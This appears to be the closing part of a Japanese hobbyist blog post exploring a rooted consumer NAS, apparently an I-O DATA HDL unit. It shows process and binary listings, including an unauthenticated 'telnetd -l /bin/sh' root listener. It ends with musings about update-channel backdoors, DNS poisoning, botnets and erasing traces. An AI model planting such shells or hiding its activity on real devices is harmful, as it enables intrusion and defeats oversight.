 2556 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2596 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2655 ?        Ss     0:00 /bin/sh /usr/local/rl3/bin/logd.sh
 2657 ?        Ss     0:06 /bin/sh /usr/local/rl3/bin/watchdogd.sh
 2680 ?        Ss     0:01 ./tou_server
 2682 ?        S      0:00 ./tou_server
 2683 ?        S      0:00 ./tou_server
 2686 ?        S      0:04 ./tou_server
 2687 ?        S      0:14 ./tou_server
 2703 ?        Ss     0:00 ./device_process
 2879 ?        Ss     0:00 telnetd -l /bin/sh
 2919 ttyS0    Ss+    0:00 /sbin/getty 115200 ttyS0 vt100
 3003 ?        S      0:00 /usr/sbin/apache2 -k start
 3004 ?        S      0:03 /usr/sbin/apache2 -k start
 3005 ?        S      0:00 /usr/sbin/apache2 -k start
 3006 ?        S      0:01 /usr/sbin/apache2 -k start
 3008 ?        S      0:00 /usr/sbin/apache2 -k start
 3649 ?        S      0:00 /usr/sbin/apache2 -k start
 3681 ?        S      0:00 /usr/sbin/apache2 -k start
 3695 ?        S      0:00 /usr/sbin/apache2 -k start
 3885 ?        S      0:00 /usr/sbin/apache2 -k start
 3892 ?        S      0:00 /usr/sbin/apache2 -k start
 4583 pts/0    Ss     0:00 /bin/sh
26374 ?        S      0:00 sleep 30
26486 ?        S      0:00 sleep 1
26487 pts/0    R+     0:00 ps ax

なんかスリープしているシェルスクリプトがあって、キモい。


コマンド。

sh-3.1# ls /sbin/
MAKEDEV        fsck.reiserfs   mkdosfs            reiserfstune
apcaccess      fsck.vfat       mke2fs             resize2fs
apctest        fsck.xfs        mkfs               resize_reiserfs
apcupsd        getty           mkfs.cramfs        rmmod
badblocks      halt            mkfs.ext2          rmmod.modutils
blkid          hdparm          mkfs.ext3          route
blockdev       hotplug         mkfs.minix         runlevel
bootlogd       hwclock         mkfs.msdos         sfdisk
cfdisk         ifconfig        mkfs.reiserfs      shadowconfig
daemonize      ifdown          mkfs.vfat          shutdown
debugfs        ifup            mkfs.xfs           slattach
debugreiserfs  init            mkreiserfs         smtp
depmod         insmod          mkswap             start-stop-daemon
dmsetup        installkernel   modinfo            startpar
dosfsck        ipmaddr         modprobe           sulogin
dumpe2fs       iptunnel        modprobe.modutils  swapoff
e2fsck         isosize         mount.fuse         swapon
e2image        kallsyms        nameif             sysctl
e2label        killall5        parted             telinit
fdisk          ksyms           partprobe          tune2fs
findfs         ldconfig        pivot_root         udhcpc
fsck           logsave         plipconfig         unix_chkpwd
fsck.cramfs    losetup         powerflute         update-modules
fsck.ext2      lsmod           poweroff           xfs_repair
fsck.ext3      lsmod.modutils  rarp               xfsdump
fsck.minix     mdadm           raw                xfsrestore
fsck.msdos     mdrun           reboot
fsck.nfs       mii-tool        reiserfsck
sh-3.1# ls /bin/
arch   dmesg          hostname        mount-bin   pwd        tar         zegrep
bash   dnsdomainname  kill            mountpoint  rbash      tempfile    zfgrep
cat    echo           ln              mt          readlink   touch       zforce
chgrp  ed             login           mt-gnu      rm         true        zgrep
chmod  egrep          ls              mv          rmdir      umount      zless
chown  false          lsmod           nc          run-parts  uname       zmore
cp     fgrep          lsmod.modutils  netcat      sed        uncompress  znew
cpio   fuser          mkdir           netstat     sh         vdir
date   grep           mknod           pidof       sleep      which
dd     gunzip         mktemp          ping        stty       zcat
df     gzexe          more            ping6       su         zcmp
dir    gzip           mount           ps          sync       zdiff
sh-3.1# ls /usr/sbin/
a2dismod           groupadd             pwconv               update-inetd
a2dissite          groupdel             pwunconv             update-locale
a2enmod            groupmod             rdate                update-mime
a2ensite           grpck                readprofile          update-passwd
ab                 grpconv              remove-shell         update-rc.d
add-shell          grpunconv            rmt                  update-usbids
addgroup           htcacheclean         rmt-tar              update-xmlcatalog
adduser            httxt2dbm            rotatelogs           usbmodules
afpd               iconvconfig          safe_finger          useradd
apache2            ifplugd              slpd                 userdel
apache2ctl         ifplugstatus         smartctl             usermod
arp                ifstatus             smartctl-bin         validlocale
atalkd             in.proftpd           smartd               vigr
avahi-daemon       inetd                smbd                 vipw
check_forensic     install-info         smbldap-groupadd     winbindd
checkgid           install-sgmlcatalog  smbldap-groupdel     xfs_admin
chgpasswd          invoke-rc.d          smbldap-groupmod     xfs_bmap
chpasswd           laptop-detect        smbldap-groupshow    xfs_check
chroot             locale-gen           smbldap-passwd       xfs_copy
cleanup-info       logresolve           smbldap-populate     xfs_db
cnid_dbd           logrotate            smbldap-useradd      xfs_estimate
cnid_metad         lsusb                smbldap-userdel      xfs_freeze
cpgr               mkboot               smbldap-userinfo     xfs_fsr
cppw               mklost+found         smbldap-usermod      xfs_growfs
cron               mksmbpasswd          smbldap-usershow     xfs_info
cytune             mt-daapd             snmpd                xfs_io
delgroup           mt-daapd.nosjis      snmptrapd            xfs_logprint
deluser            mt-daapd.sjis        split-logfile        xfs_mdrestore
dpkg-divert        netatalk-uniconv     sysv-rc-conf         xfs_metadump
dpkg-preconfigure  newusers             tcpd                 xfs_mkfile
dpkg-reconfigure   nmbd                 tcpdchk              xfs_ncheck
dpkg-statoverride  nologin              tcpdmatch            xfs_quota
elvtune            ntpdate              tcpdump              xfs_rtcp
ethtool            ntpdate-debian       timelord             xfsdump
filefrag           pam_getenv           traceroute           xfsinvutil
ftpasswd           pam_tally            try-from             xfsrestore
ftpquota           papd                 tunelp               zic
ftpscrub           proftpd              tzconfig
ftpshut            proftpd-gencert      update-alternatives
ftpstats           pwck                 update-catalog
sh-3.1# ls /usr/bin/
411toppm                iconv             pl2pm             sg
GET                     id                pmap              sg_dd
HEAD                    ilbmtoppm         pngtopnm          sg_emc_trespass
POST                    imgtoppm          pnmalias          sg_format
X                       infocmp           pnmarith          sg_get_config
X11                     infotocap         pnmcat            sg_ident
[                       install           pnmcolormap       sg_inq
a2p                     instmodsh         pnmcomp           sg_logs
add_netatalk_printer    ipcrm             pnmconvol         sg_luns
addr2line               ipcs              pnmcrop           sg_map
adv1tov2                jhead             pnmcut            sg_map26
aecho                   join              pnmdepth          sg_modes
afpldaptest             jpegexiforient    pnmenlarge        sg_opcodes
afppasswd               jpegtopnm         pnmfile           sg_persist
anytopnm                jpegtran          pnmflip           sg_prevent
apple_dump              killall           pnmgamma          sg_rbuf
apt-cache               last              pnmhisteq         sg_rdac
apt-cdrom               lastb             pnmhistmap        sg_read
apt-config              lastlog           pnmindex          sg_read_long
apt-extracttemplates    lcf               pnminterp         sg_readcap
apt-ftparchive          ld                pnminterp-gen     sg_reassign
apt-get                 ldd               pnminvert         sg_requests
apt-key                 leaftoppm         pnmmargin         sg_reset
apt-sortpkgs            less              pnmmontage        sg_rmsn
aptitude                lessecho          pnmnlfilt         sg_rtpg
ar                      lessfile          pnmnoraw          sg_scan
arm-linux-gnu-cpp-4.1   lesskey           pnmnorm           sg_senddiag
as                      lesspipe          pnmpad            sg_ses
asciitopgm              lgrep             pnmpaste          sg_start
asip-status.pl          libnetcfg         pnmpsnr           sg_sync
atktopbm                line              pnmquant          sg_test_rwbuf
awk                     link              pnmremap          sg_turs
basename                lispmtopgm        pnmrotate         sg_verify
bashbug                 locale            pnmscale          sg_vpd
berkeley_db4.2_svc      localedef         pnmscalefixed     sg_wr_mode
binheader               locate            pnmshear          sg_write_long
bioradtopgm             logger            pnmsmooth         sginfo
bmptopnm                logname           pnmsplit          sgitopnm
bmptoppm                look              pnmtile           sgm_dd
brushtopbm              lorder            pnmtoddif         sgp_dd
bsd-write               lp2pap.sh         pnmtofiasco       sha1sum
c++filt                 lsattr            pnmtofits         sha224sum
c2ph                    lsof              pnmtojpeg         sha256sum
c_rehash                lspgpot           pnmtopalm         sha384sum
cal                     lsusb             pnmtoplainpnm     sha512sum
calendar                lv                pnmtopng          showppd
captoinfo               lwp-download      pnmtops           shred
catchsegv               lwp-mirror        pnmtorast         single2bin
chage                   lwp-request       pnmtorle          sirtopnm
chattr                  lwp-rget          pnmtosgi          size
chcon                   macbinary         pnmtosir          skill
chfn                    macptopbm         pnmtotiff         slabtop
chkdupexe               macusers          pnmtotiffcmyk     sldtoppm
chsh                    make              pnmtoxwd          slogin
cjpeg                   mawk              pod2html          slptool
cksum                   mcookie           pod2latex         smbcacls
clear                   md5sum            pod2man           smbclient
clear_console           md5sum.textutils  pod2text          smbcontrol
cmp                     mdatopbm          pod2usage         smbcquotas
cmuwmtopbm              megatron          podchecker        smbget
cnid2_create            mesg              podselect         smbpasswd
col                     mgrtopbm          ppm3d             smbspool
colcrt                  mkfifo            ppmbrighten       smbstatus
colrm                   mtvtoppm          ppmchange         smbtar
column                  nadheader         ppmcie            smbtree
comm                    namei             ppmcolormask      snice
compose                 nawk              ppmcolors         snmpbulkget
cpan                    nbplkup           ppmdim            snmpbulkwalk
cpp-4.1                 nbprgstr          ppmdist           snmpconf
crontab                 nbpunrgstr        ppmdither         snmpdelta
csplit                  ncal              ppmfade           snmpdf
cut                     neotoppm          ppmflash          snmpget
db4.2_archive           net               ppmforge          snmpgetnext
db4.2_checkpoint        net-snmp-config   ppmhist           snmpinform
db4.2_deadlock          newgrp            ppmlabel          snmpnetstat
db4.2_dump              nice              ppmmake           snmpset
db4.2_load              nl                ppmmix            snmpstatus
db4.2_printlog          nm                ppmnorm           snmptable
db4.2_recover           nmblookup         ppmntsc           snmptest
db4.2_stat              nohup             ppmpat            snmptranslate
db4.2_upgrade           nslookup          ppmquant          snmptrap
db4.2_verify            nsupdate          ppmquantall       snmpusm
dbd                     ntlm_auth         ppmqvga           snmpvacm
dbmmanage               objcopy           ppmrainbow        snmpwalk
dbus-cleanup-sockets    objdump           ppmrelief         sort
dbus-daemon             od                ppmshadow         spctoppm
dbus-launch             oldfuser          ppmshift          splain
dbus-send               openssl           ppmspread         split
dbus-uuidgen            pager             ppmtoacad         sputoppm
ddate                   palmtopnm         ppmtobmp          ssh
debconf                 pamcut            ppmtoeyuv         ssh-add
debconf-apt-progress    pamdeinterlace    ppmtogif          ssh-agent
debconf-communicate     pamdice           ppmtoicr          ssh-argv0
debconf-copydb          pamfile           ppmtoilbm         ssh-copy-id
debconf-escape          pamoil            ppmtojpeg         ssh-keygen
debconf-get-selections  pamstack          ppmtoleaf         ssh-keyscan
debconf-getlang         pamstretch        ppmtolj           ssh-vulnkey
debconf-loadtemplate    pamstretch-gen    ppmtomap          st4topgm
debconf-mergetemplate   pap               ppmtomitsu        stat
debconf-set-selections  papstatus         ppmtompeg         strace
debconf-show            passwd            ppmtoneo          strings
dexconf                 paste             ppmtopcx          strip
dh_installxmlcatalogs   pathchk           ppmtopgm          sum
dh_pycentral            pbmclean          ppmtopi1          tac
diff                    pbmlife           ppmtopict         tack
diff3                   pbmmake           ppmtopj           tail
dig                     pbmmask           ppmtopuzz         tdbbackup
dircolors               pbmpage           ppmtorgb3         tee
dirname                 pbmpscale         ppmtosixel        test
djpeg                   pbmreduce         ppmtotga          testparm
dotlockfile             pbmtext           ppmtouil          tgatoppm
dpkg                    pbmtextps         ppmtowinicon      thinkjettopbm
dpkg-deb                pbmto10x          ppmtoxpm          tic
dpkg-query              pbmtoascii        ppmtoyuv          tifftopnm
dpkg-split              pbmtoatk          ppmtoyuvsplit     tload
dprofpp                 pbmtobbnbg        ppmtv             toe
dselect                 pbmtocmuwm        pr                top
du                      pbmtoepsi         prename           touch
edit                    pbmtoepson        print             tput
editor                  pbmtog3           printenv          tr
enc2xs                  pbmtogem          printf            traceroute
encode_keychange        pbmtogo           profiles          traceroute.lbl
env                     pbmtoicon         prove             traptoemail
eventlogadm             pbmtolj           psed              tset
ex                      pbmtomacp         psidtopgm         tsort
exifautotran            pbmtomda          psorder           tty
expand                  pbmtomgr          pstopnm           tzselect
expiry                  pbmtonokia        pstree            ucf
expr                    pbmtopgm          pstree.x11        ucfq
eyuvtoppm               pbmtopi3          pstruct           ucfr
factor                  pbmtoplot         ptx               ul
faillog                 pbmtoppa          pwdx              umap
fdformat                pbmtopsg3         py_compilefiles   unbin
fiascotopnm             pbmtoptx          pycentral         unexpand
file                    pbmtowbmp         pydoc             unhex
find                    pbmtox10bm        pydoc2.5          uniq
find2perl               pbmtoxbm          pygettext         unlink
findsmb                 pbmtoybm          pygettext2.5      unsingle
fitstopnm               pbmtozinc         python            updatedb
fixproc                 pbmupc            python2.4         uptime
fmt                     pcretest          python2.5         usbmodules
fold                    pcxtoppm          pyversions        users
free                    pdb               qrencode          uuidgen
from                    pdb2.5            qrttoppm          vi
fstopgm                 pdbedit           ranlib            view
ftpcount                pear              rasttopnm         vim
ftpdctl                 peardev           rawtopgm          vim.tiny
ftptop                  pecl              rawtoppm          vimdiff
ftpwho                  perl              rc                vmstat
fusermount              perl5.8.8         rcp               w
g3topbm                 perlbug           rdjpgcom          w.procps
gemtopbm                perlcc            readelf           wall
gemtopnm                perldoc           red               watch
getconf                 perldoc.stub      rename            wbinfo
getent                  perlivp           renice            wbmptopbm
getopt                  pg                reset             wc
getzones                pgmbentley        rev               wget
giftopnm                pgmcrater         rgb3toppm         whereis
gouldtoppm              pgmedge           rgrep             which
gpasswd                 pgmenhance        rletopnm          whiptail
gpg                     pgmhist           rlogin            who
gpg-convert-from-106    pgmkernel         rpcclient         whoami
gpg-zip                 pgmnoise          rpcinfo           winicontoppm
gpgsplit                pgmnorm           rsh               write
gpgv                    pgmoil            run-mailcap       wrjpgcom
gphoto2                 pgmramp           runcon            xargs
gphotofs                pgmslice          rview             xbmtopbm
gprof                   pgmtexture        rvim              ximtoppm
groups                  pgmtofs           s2p               xpmtoppm
h2ph                    pgmtolispm        savelog           xsubpp
h2xs                    pgmtopbm          sbigtopgm         xvminitoppm
hd                      pgmtoppm          scp               xwdtopnm
head                    pgrep             script            xxd
helpztags               php               scriptreplay      ybmtopbm
hexdump                 php-cgi           sdiff             yes
hipstopgm               php5              see               yuvsplittoppm
host                    php5-cgi          sensible-browser  yuvtoppm
hostid                  pi1toppm          sensible-editor   zdump
hqx2bin                 pi3topbm          sensible-pager    zeisstopnm
htdbm                   piconv            seq               zip
htdigest                pinky             setsid            zipcloak
htpasswd                pjtoppm           setterm           zipnote
icontopbm               pkill             sftp              zipsplit
sh-3.1# ls /usr/local/sbin/
smartctl6  telnetd
sh-3.1# ls /usr/local/bin/
HDLFind                        fw_unlock                pildriver.py
HDLFind_port65                 getfwver.sh              pilfile.py
HDLFind_port65_set.sh          getfwxmlurl.sh           pilfont.py
HDLFind_set.sh                 getmodel.sh              pilprint.py
HDL_ip_update                  getnewfwver.sh           port_update.php
HDL_log                        getproduct_for_pv        raps_command
HDL_notify_clear               getserial_for_pv         refresh_proc_lock.php
HDL_poweroff                   getsupporturl.sh         remotelink3.php
HDL_remotelink3_startup        getxmlattr.py            remount.sh
HDL_reset                      getxmltext.py            reset.php
_log.cgi                       init.php                 rl3_pincode.sh
_log.sh                        isaudiomodel.sh          rl3_portgen.sh
busybox                        islandiskmodel.sh        rl3_qrcodefmt.sh
check_firmware_ver.php         issolidmodel.sh          rl3_setting.sh
chkbtnled.sh                   isstatic.sh              share.php
chkpasswd.py                   issuccessdhcp.sh         shutdown.php
chkstandby                     iswithouttownkymodel.sh  shutdown.sh
daemonize                      ledcont                  sudo
dellog.php                     logging.php              twonky_controller
devmem2                        makelltd.php             twonky_setting.sh
dpws_setting.sh                microsoft.php            twonky_user.sh
easy_install                   mvsactl                  udhcpc.sh
easy_install-2.5               network.php              upnp_tool.pl
firmware_schedule_setting.php  ntpdate.php              usbhdmng
flock                          pac_utils.js             verup.sh
format.php                     pactester                wait_while_logon.php
fw_lock                        password.php             xml_readable.py
fw_printenv                    php_readable.php
fw_setenv                      pilconvert.py

busyboxは結構削られている。

sh-3.1# /usr/local/bin/busybox
Using fallback suid method
BusyBox v1.00 (2014.07.28-10:35+0000) multi-call binary

Usage: busybox [function] [arguments]...
   or: [function] [arguments]...

        BusyBox is a multi-call binary that combines many common Unix
        utilities into a single executable.  Most people will create a
        link to busybox for each function they wish to use, and BusyBox
        will act like whatever it was invoked as.

Currently defined functions:
        busybox, freeramdisk, klogd, logger, login, syslogd, telnetd,
        udhcpc

というわけで、比較的簡単に侵入できてしまった

でも、あとはやりたいことがないのだよな...
ははは。
せめて、USBの口くらいあるといいのにな。


今回は手動アップデートで侵入したけど、オンライン自動アップデート方式のデバイスだと、リモートからルーターハックされてDNSアナウンス書き換えられたり、WiFiに入られてニセDNS立てるようなdns poisonigとかかまされて、ほんとにバックドア流し込まれて、botnetの使徒とか、無断amazonアフィリエイトproxyになる可能性もあるから、なんか怖いよな。
入ってしまえば、アップデートのログくらい、後からいくらでも書き換えできるし、そもそもログに残らないようなアップデート成功プロセスも作れるかもしれない。
痕跡を消すのは簡単。
見えないプロセスを動かすのも、メモリ使用量をごまかすのも、わりと既知の技術でできるし...
まったく普通に動いているようでいて、外からの指示でいろいろ使われるとか、気がつかないので一番やっかいだわ。